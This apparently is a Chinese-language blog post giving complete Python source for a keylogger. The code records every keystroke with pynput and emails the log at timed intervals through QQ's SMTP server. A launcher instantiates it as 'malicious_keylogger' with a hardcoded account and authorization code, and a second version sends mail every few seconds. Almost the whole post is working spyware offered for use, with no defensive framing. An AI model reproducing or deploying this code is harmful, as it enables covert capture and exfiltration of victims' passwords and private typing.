Home >  > Python项目Keylogger(定时器)

Python项目Keylogger(定时器)

0

一、代码
keylogger.py文件

1#!/usr/bin/env python
2 
3import smtplib
4 
5import threading
6 
7from pynput import keyboard
8 
9# Create Keylogger Class
10 
11class KeyLogger:
12 
13    # Define __init__ variables
14 
15    def __init__(self, time_interval, email, password):
16        self.interval = time_interval
17        self.log = "KeyLogger has started..."
18        self.email = email
19        self.password = password
20 
21    # Create Log which all keystrokes will be appended to
22 
23    def append_to_log(self, string):
24        self.log = self.log + string
25 
26    # Create Keylogger
27 
28    def on_press(self, key):
29        try:
30            current_key = str(key.char)
31        except AttributeError:
32            if key == key.space:
33                current_key = " "
34            elif key == key.esc:
35                print("Exiting program...")
36                return False
37            else:
38                current_key = " " + str(key) + " "
39 
40        self.append_to_log(current_key)
41 
42 
43    # Create underlying back structure which will publish emails
44 
45    def send_mail(self, email, password, message):
46        server = smtplib.SMTP('smtp.qq.com', 587)
47        server.starttls()
48        server.login(email, password)
49        server.sendmail(email, email, message)
50        server.quit()
51 
52    # Create Report & Send Email
53 
54    def report_n_send(self):
55        send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
56        self.log = ""
57        timer = threading.Timer(self.interval, self.report_n_send)
58        timer.start()
59 
60    # Start KeyLogger and Send Off Emails
61 
62    def start(self):
63        keyboard_listener = keyboard.Listener(on_press = self.on_press)
64        with keyboard_listener:
65            self.report_n_send()
66            keyboard_listener.join()

2.execute_keylogger.py

1#!/usr/bin/env python
2 
3import keylogger
4 
5 
6# Initialize / create keylogger
7 
8malicious_keylogger = keylogger.KeyLogger(10, '2207467@qq.com', 'pxxxxxjbh')  #这里不是邮箱密码,而是授权码
9 
10# Execute Keylogger
11 
12malicious_keylogger.start()

其实将下面的代码直接加到第一人文件也可以:

1malicious_keylogger = KeyLogger(10, '2207467@qq.com', 'pxxbh')
2 
3malicious_keylogger.start()

二、执行结果

三、备忘
好像输入中文程序就出错。

四、每分钟发邮件

1#!/usr/bin/env python
2 
3import smtplib
4 
5import threading
6 
7from pynput import keyboard
8 
9# Create Keylogger Class
10 
11class KeyLogger:
12 
13    # Define __init__ variables
14 
15    def __init__(self, time_interval, email, password):
16        self.interval = time_interval
17        self.log = "KeyLogger has started..."
18        self.email = email
19        self.password = password
20 
21 
22    # Create underlying back structure which will publish emails
23 
24    def send_mail(self, email, password, message):
25        server = smtplib.SMTP('smtp.qq.com', 587)
26        server.starttls()
27        server.login(email, password)
28        server.sendmail(email, email, message)
29        server.quit()
30 
31    # Create Report & Send Email
32 
33    def report_n_send(self):
34        send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
35        print("发送邮件成功")
36        timer = threading.Timer(self.interval, self.report_n_send)
37        timer.start()
38 
39    # Start KeyLogger and Send Off Emails
40 
41    def start(self):
42        self.report_n_send()
43 
44 
45malicious_keylogger = KeyLogger(5, '2207467@qq.com', 'pxxxbh')
46 
47# Execute Keylogger
48 
49malicious_keylogger.start()

https://www.youtube.com/watch?v=3d78_ttGmWI

暧昧帖

本文暂无标签

发表评论

*

*